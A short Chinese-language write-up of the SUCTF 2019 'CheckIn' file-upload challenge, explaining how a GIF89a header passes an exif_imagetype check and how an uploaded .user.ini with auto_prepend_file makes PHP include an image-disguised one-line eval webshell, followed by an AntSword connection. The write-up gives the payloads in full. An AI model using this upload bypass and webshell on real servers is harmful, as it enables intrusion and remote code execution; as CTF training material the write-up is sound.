[SUCTF 2019]CheckIn

这道题是文件上传的题，先上传了一个PHP文件提示不合法的后缀

然后上传了一个.htaccess文件，提示exif_imagetype:not image!

exif_imagetype() 读取一个图像的第一个字节并检查其签名，返回内容有16个，根据返回的值，来判断我们图片类型是什么

所以我们可以用GIF89a来绕过这个函数的检查

另外还要了解一个东西.user.ini，可以参考.user.ini文件构成的PHP后门 - phith0n

.user.ini实际上就是一个可以由用户“自定义”的php.ini，我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后，不需要重启服务器中间件，只需要等待user_ini.cache_ttl所设置的时间（默认为300秒），即可被重新加载。

所以，我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件，而这个文件可以是一个正常php文件，也可以是一个包含一句话的webshell。 

其中有两个配置，可以用来制造后门：
auto_append_file、auto_prepend_file
指定一个文件，自动包含在要执行的文件前，类似于在文件前调用了require()函数。而auto_append_file类似，只是在文件后面包含。 使用方法也很简单，直接写在.user.ini中

知道了这个，那么这个题就可以用图片马来解决

先上传.user.ini文件，内容为

GIF89a auto_prepend_file=ma.jpg

然后制作一句话木马

GIF89a <script language="php">eval($_POST['hhh'])</script>

制作图片马的命令为

copy next.jpg/a + shell.php/b ma.jpg

提示已复制即为成功，此时文件夹内会多出一个图片，即所需，不过感觉直接把图片后缀改为.jpg更方便，而且也是可行的

然后上传两个再蚁剑连接获得flag就可以